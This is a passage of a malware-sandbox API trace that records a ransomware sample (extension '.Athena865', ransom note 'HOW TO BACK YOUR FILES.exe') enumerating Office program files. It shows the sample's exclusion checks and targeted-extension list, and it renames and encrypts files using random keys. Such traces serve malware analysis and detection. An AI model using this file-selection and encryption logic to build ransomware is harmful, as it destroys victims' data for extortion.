lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c70, lpName=0x0) returned 0x17c [0084.958] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c70) returned 0x100000 [0084.959] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.966] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.966] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.967] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0084.967] CloseHandle (hObject=0x17c) returned 1 [0084.967] CloseHandle (hObject=0x154) returned 1 [0084.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.968] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45887700, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45887700, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SEQCHK10.DLL", cAlternateFileName="")) returned 1 [0084.968] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.968] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.968] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2=".") returned 1 [0084.968] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2="..") returned 1 [0084.968] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2="windows") returned -1 [0084.968] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2="bootmgr") returned 1 [0084.968] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2="temp") returned -1 [0084.968] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2="pagefile.sys") returned 1 [0084.968] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2="boot") returned 1 [0084.968] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2="ids.txt") returned 1 [0084.968] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2="ntuser.dat") returned 1 [0084.968] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2="perflogs") returned 1 [0084.968] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2="MSBuild") returned 1 [0084.968] lstrlenW (lpString="SEQCHK10.DLL") returned 12 [0084.968] lstrcpyW (in: lpString1=0x241e89e, lpString2="SEQCHK10.DLL" | out: lpString1="SEQCHK10.DLL") returned="SEQCHK10.DLL" [0084.968] lstrlenW (lpString="SEQCHK10.DLL") returned 12 [0084.968] lstrlenW (lpString="Athena865") returned 9 [0084.969] lstrcmpiW (lpString1="CHK10.DLL", lpString2="Athena865") returned 1 [0084.969] lstrlenW (lpString=".dll") returned 4 [0084.969] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2=".dll") returned 1 [0084.969] lstrlenW (lpString=".lnk") returned 4 [0084.969] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2=".lnk") returned 1 [0084.969] lstrlenW (lpString=".ini") returned 4 [0084.969] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2=".ini") returned 1 [0084.969] lstrlenW (lpString=".sys") returned 4 [0084.969] lstrcmpiW (lpString1="SEQCHK10.DLL", lpString2=".sys") returned 1 [0084.969] lstrlenW (lpString="SEQCHK10.DLL") returned 12 [0084.969] lstrlenW (lpString="bak") returned 3 [0084.969] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0084.969] lstrlenW (lpString="ba_") returned 3 [0084.969] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0084.969] lstrlenW (lpString="dbb") returned 3 [0084.969] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0084.969] lstrlenW (lpString="vmdk") returned 4 [0084.969] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0084.969] lstrlenW (lpString="rar") returned 3 [0084.969] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0084.969] lstrlenW (lpString="zip") returned 3 [0084.969] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0084.969] lstrlenW (lpString="tgz") returned 3 [0084.969] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0084.969] lstrlenW (lpString="vbox") returned 4 [0084.969] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0084.969] lstrlenW (lpString="vdi") returned 3 [0084.969] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0084.969] lstrlenW (lpString="vhd") returned 3 [0084.969] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0084.969] lstrlenW (lpString="vhdx") returned 4 [0084.969] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0084.969] lstrlenW (lpString="avhd") returned 4 [0084.970] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0084.970] lstrlenW (lpString="db") returned 2 [0084.970] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0084.970] lstrlenW (lpString="db2") returned 3 [0084.970] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0084.970] lstrlenW (lpString="db3") returned 3 [0084.970] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0084.970] lstrlenW (lpString="dbf") returned 3 [0084.970] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0084.970] lstrlenW (lpString="mdf") returned 3 [0084.970] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0084.970] lstrlenW (lpString="mdb") returned 3 [0084.970] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0084.970] lstrlenW (lpString="sql") returned 3 [0084.970] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0084.970] lstrlenW (lpString="sqlite") returned 6 [0084.970] lstrcmpiW (lpString1="10.DLL", lpString2="sqlite") returned -1 [0084.970] lstrlenW (lpString="sqlite3") returned 7 [0084.970] lstrcmpiW (lpString1="K10.DLL", lpString2="sqlite3") returned -1 [0084.970] lstrlenW (lpString="sqlitedb") returned 8 [0084.970] lstrcmpiW (lpString1="HK10.DLL", lpString2="sqlitedb") returned -1 [0084.970] lstrlenW (lpString="xml") returned 3 [0084.970] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0084.970] lstrlenW (lpString="$er") returned 3 [0084.970] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0084.970] lstrlenW (lpString="4dd") returned 3 [0084.970] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0084.970] lstrlenW (lpString="4dl") returned 3 [0084.970] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0084.970] lstrlenW (lpString="^^^") returned 3 [0084.970] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0084.971] lstrlenW (lpString="abs") returned 3 [0084.971] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0084.971] lstrlenW (lpString="abx") returned 3 [0084.971] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0084.971] lstrlenW (lpString="accdb") returned 5 [0084.971] lstrcmpiW (lpString1="0.DLL", lpString2="accdb") returned -1 [0084.971] lstrlenW (lpString="accdc") returned 5 [0084.971] lstrcmpiW (lpString1="0.DLL", lpString2="accdc") returned -1 [0084.971] lstrlenW (lpString="accde") returned 5 [0084.971] lstrcmpiW (lpString1="0.DLL", lpString2="accde") returned -1 [0084.971] lstrlenW (lpString="accdr") returned 5 [0084.971] lstrcmpiW (lpString1="0.DLL", lpString2="accdr") returned -1 [0084.971] lstrlenW (lpString="accdt") returned 5 [0084.971] lstrcmpiW (lpString1="0.DLL", lpString2="accdt") returned -1 [0084.971] lstrlenW (lpString="accdw") returned 5 [0084.971] lstrcmpiW (lpString1="0.DLL", lpString2="accdw") returned -1 [0084.971] lstrlenW (lpString="accft") returned 5 [0084.971] lstrcmpiW (lpString1="0.DLL", lpString2="accft") returned -1 [0084.971] lstrlenW (lpString="adb") returned 3 [0084.971] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.971] lstrlenW (lpString="adb") returned 3 [0084.971] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.971] lstrlenW (lpString="ade") returned 3 [0084.971] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0084.971] lstrlenW (lpString="adf") returned 3 [0084.971] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0084.971] lstrlenW (lpString="adn") returned 3 [0084.971] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0084.971] lstrlenW (lpString="adp") returned 3 [0084.971] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0084.971] lstrlenW (lpString="alf") returned 3 [0084.971] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0084.972] lstrlenW (lpString="ask") returned 3 [0084.972] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0084.972] lstrlenW (lpString="btr") returned 3 [0084.972] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0084.972] lstrlenW (lpString="cat") returned 3 [0084.972] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0084.972] lstrlenW (lpString="cdb") returned 3 [0084.972] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0084.972] lstrlenW (lpString="ckp") returned 3 [0084.972] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0084.972] lstrlenW (lpString="cma") returned 3 [0084.972] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0084.972] lstrlenW (lpString="cpd") returned 3 [0084.972] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0084.972] lstrlenW (lpString="dacpac") returned 6 [0084.972] lstrcmpiW (lpString1="10.DLL", lpString2="dacpac") returned -1 [0084.972] lstrlenW (lpString="dad") returned 3 [0084.972] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0084.972] lstrlenW (lpString="dadiagrams") returned 10 [0084.972] lstrcmpiW (lpString1="QCHK10.DLL", lpString2="dadiagrams") returned 1 [0084.972] lstrlenW (lpString="daschema") returned 8 [0084.972] lstrcmpiW (lpString1="HK10.DLL", lpString2="daschema") returned 1 [0084.972] lstrlenW (lpString="db-journal") returned 10 [0084.972] lstrcmpiW (lpString1="QCHK10.DLL", lpString2="db-journal") returned 1 [0084.972] lstrlenW (lpString="db-shm") returned 6 [0084.972] lstrcmpiW (lpString1="10.DLL", lpString2="db-shm") returned -1 [0084.972] lstrlenW (lpString="db-wal") returned 6 [0084.972] lstrcmpiW (lpString1="10.DLL", lpString2="db-wal") returned -1 [0084.972] lstrlenW (lpString="dbc") returned 3 [0084.972] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0084.972] lstrlenW (lpString="dbs") returned 3 [0084.973] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0084.973] lstrlenW (lpString="dbt") returned 3 [0084.973] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0084.973] lstrlenW (lpString="dbv") returned 3 [0084.973] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0084.973] lstrlenW (lpString="dbx") returned 3 [0084.973] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0084.973] lstrlenW (lpString="dcb") returned 3 [0084.973] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0084.973] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0084.973] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0084.973] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0084.973] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SEQCHK10.DLL.Athena865") returned 65 [0084.973] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SEQCHK10.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\seqchk10.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SEQCHK10.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\seqchk10.dll.athena865"), dwFlags=0x1) returned 1 [0084.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SEQCHK10.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\seqchk10.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.974] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=87936) returned 1 [0084.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.975] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.976] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.976] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.976] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15a80, lpName=0x0) returned 0x17c [0084.977] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15a80) returned 0x100000 [0084.982] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.983] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.983] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.983] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0084.984] CloseHandle (hObject=0x17c) returned 1 [0084.984] CloseHandle (hObject=0x154) returned 1 [0084.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.985] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c961300, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c961300, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x9380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETLANG.EXE", cAlternateFileName="")) returned 1 [0084.985] lstrcmpiW (lpString1="SETLANG.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.985] lstrcmpiW (lpString1="SETLANG.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.985] lstrcmpiW (lpString1="SETLANG.EXE", lpString2=".") returned 1 [0084.985] lstrcmpiW (lpString1="SETLANG.EXE", lpString2="..") returned 1 [0084.985] lstrcmpiW (lpString1="SETLANG.EXE", lpString2="windows") returned -1 [0084.985] lstrcmpiW (lpString1="SETLANG.EXE", lpString2="bootmgr") returned 1 [0084.985] lstrcmpiW (lpString1="SETLANG.EXE", lpString2="temp") returned -1 [0084.985] lstrcmpiW (lpString1="SETLANG.EXE", lpString2="pagefile.sys") returned 1 [0084.985] lstrcmpiW (lpString1="SETLANG.EXE", lpString2="boot") returned 1 [0084.985] lstrcmpiW (lpString1="SETLANG.EXE", lpString2="ids.txt") returned 1 [0084.985] lstrcmpiW (lpString1="SETLANG.EXE", lpString2="ntuser.dat") returned 1 [0084.985] lstrcmpiW (lpString1="SETLANG.EXE", lpString2="perflogs") returned 1 [0084.985] lstrcmpiW (lpString1="SETLANG.EXE", lpString2="MSBuild") returned 1 [0084.985] lstrlenW (lpString="SETLANG.EXE") returned 11 [0084.985] lstrcpyW (in: lpString1=0x241e89e, lpString2="SETLANG.EXE" | out: lpString1="SETLANG.EXE") returned="SETLANG.EXE" [0084.985] lstrlenW (lpString="SETLANG.EXE") returned 11 [0084.985] lstrlenW (lpString="Athena865") returned 9 [0084.986] lstrcmpiW (lpString1="TLANG.EXE", lpString2="Athena865") returned 1 [0084.986] lstrlenW (lpString=".dll") returned 4 [0084.986] lstrcmpiW (lpString1="SETLANG.EXE", lpString2=".dll") returned 1 [0084.986] lstrlenW (lpString=".lnk") returned 4 [0084.986] lstrcmpiW (lpString1="SETLANG.EXE", lpString2=".lnk") returned 1 [0084.986] lstrlenW (lpString=".ini") returned 4 [0084.986] lstrcmpiW (lpString1="SETLANG.EXE", lpString2=".ini") returned 1 [0084.986] lstrlenW (lpString=".sys") returned 4 [0084.986] lstrcmpiW (lpString1="SETLANG.EXE", lpString2=".sys") returned 1 [0084.986] lstrlenW (lpString="SETLANG.EXE") returned 11 [0084.986] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SETLANG.EXE.Athena865") returned 64 [0084.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SETLANG.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\setlang.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SETLANG.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\setlang.exe.athena865"), dwFlags=0x1) returned 1 [0084.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SETLANG.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\setlang.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.987] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37760) returned 1 [0084.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.987] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.988] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.988] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.988] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9680, lpName=0x0) returned 0x17c [0084.990] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9680) returned 0x100000 [0084.992] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.993] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.993] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.993] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0084.994] CloseHandle (hObject=0x17c) returned 1 [0084.994] CloseHandle (hObject=0x154) returned 1 [0084.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.994] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0af6f40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x222b68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SG.DLL", cAlternateFileName="")) returned 1 [0084.994] lstrcmpiW (lpString1="SG.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.994] lstrcmpiW (lpString1="SG.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.994] lstrcmpiW (lpString1="SG.DLL", lpString2=".") returned 1 [0084.994] lstrcmpiW (lpString1="SG.DLL", lpString2="..") returned 1 [0084.995] lstrcmpiW (lpString1="SG.DLL", lpString2="windows") returned -1 [0084.995] lstrcmpiW (lpString1="SG.DLL", lpString2="bootmgr") returned 1 [0084.995] lstrcmpiW (lpString1="SG.DLL", lpString2="temp") returned -1 [0084.995] lstrcmpiW (lpString1="SG.DLL", lpString2="pagefile.sys") returned 1 [0084.995] lstrcmpiW (lpString1="SG.DLL", lpString2="boot") returned 1 [0084.995] lstrcmpiW (lpString1="SG.DLL", lpString2="ids.txt") returned 1 [0084.995] lstrcmpiW (lpString1="SG.DLL", lpString2="ntuser.dat") returned 1 [0084.995] lstrcmpiW (lpString1="SG.DLL", lpString2="perflogs") returned 1 [0084.995] lstrcmpiW (lpString1="SG.DLL", lpString2="MSBuild") returned 1 [0084.995] lstrlenW (lpString="SG.DLL") returned 6 [0084.995] lstrcpyW (in: lpString1=0x241e89e, lpString2="SG.DLL" | out: lpString1="SG.DLL") returned="SG.DLL" [0084.995] lstrlenW (lpString="SG.DLL") returned 6 [0084.995] lstrlenW (lpString="Athena865") returned 9 [0084.995] lstrlenW (lpString=".dll") returned 4 [0084.995] lstrcmpiW (lpString1="SG.DLL", lpString2=".dll") returned 1 [0084.995] lstrlenW (lpString=".lnk") returned 4 [0084.995] lstrcmpiW (lpString1="SG.DLL", lpString2=".lnk") returned 1 [0084.995] lstrlenW (lpString=".ini") returned 4 [0084.995] lstrcmpiW (lpString1="SG.DLL", lpString2=".ini") returned 1 [0084.995] lstrlenW (lpString=".sys") returned 4 [0084.995] lstrcmpiW (lpString1="SG.DLL", lpString2=".sys") returned 1 [0084.995] lstrlenW (lpString="SG.DLL") returned 6 [0084.995] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SG.DLL.Athena865") returned 59 [0084.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\sg.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SG.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\sg.dll.athena865"), dwFlags=0x1) returned 1 [0084.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SG.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\sg.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.997] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2239336) returned 1 [0084.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.997] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.998] 